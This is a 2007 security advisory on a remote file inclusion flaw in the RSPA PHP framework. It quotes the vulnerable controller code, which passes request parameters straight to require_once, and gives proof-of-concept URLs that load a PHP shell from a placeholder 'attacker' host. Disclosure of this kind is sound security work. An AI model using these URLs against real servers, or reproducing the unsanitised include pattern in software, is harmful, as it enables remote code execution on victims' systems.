RSPA Remote File Inclusion

Type securityvulns
Reporter Securityvulns
Modified 2007-04-05T00:00:00


RSPA Remote File Inclusion

Really Simple PHP and Ajax (RSPA) RSPA is a component based event driven ajax enabled framework for PHP4 and PHP 5. It is a combination of plane PHP class and HTML/Javascript.RSPA allows calling server side PHP functions from client javascript events. Visit

Credit: The information has been provided by Hamid Ebadi The original article can be found at :

Vulnerable Systems: Version: rspa-2007-03-23

Description: Input passed to the" __IncludeFilePHPClass ", " __ClassPath" and " __class" parameters in "rspa/framework/Controller_v5.php" and " rspa/framework/Controller_v4.php " is not properly verified before being used to include files. This can be exploited to execute arbitrary PHP code by including files from local or external resources.

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Vulnerable Code : require_once("");

$className = $_REQUEST['__class'];
$methordName =  $_REQUEST['__methord'];

// IncludeFile for PHP Class
    if ($_REQUEST['__IncludeFilePHPClass']){
        $filename = $_REQUEST['__IncludeFilePHPClass'];
        require_once ($filename);

// Parms
    if (isset($_REQUEST['__parameters'])){$parameter = getParms($_REQUEST['__parameters']);}else{$parameter="";}

// ClassFile + ClassPath
    include ("../components/Form.class.php");
    if ($_REQUEST["__ClassPath"]=="null" || empty($_REQUEST["__ClassPath"])){
        $filename = $RSPA['class_folder'].$className.$RSPA['class_extension'];
        $filename = $_REQUEST["__ClassPath"].$className.$RSPA['class_extension'];

POC exploit : The following URL will cause remote file inclusion

http://[HOST]/rspa/framework/Controller_v5.php?__IncludeFilePHPClass=http://attacker/phpshell.txt/? http://[HOST]/rspa/framework/Controller_v4.php?__ClassPath=http://attacker/phpshell.txt/?

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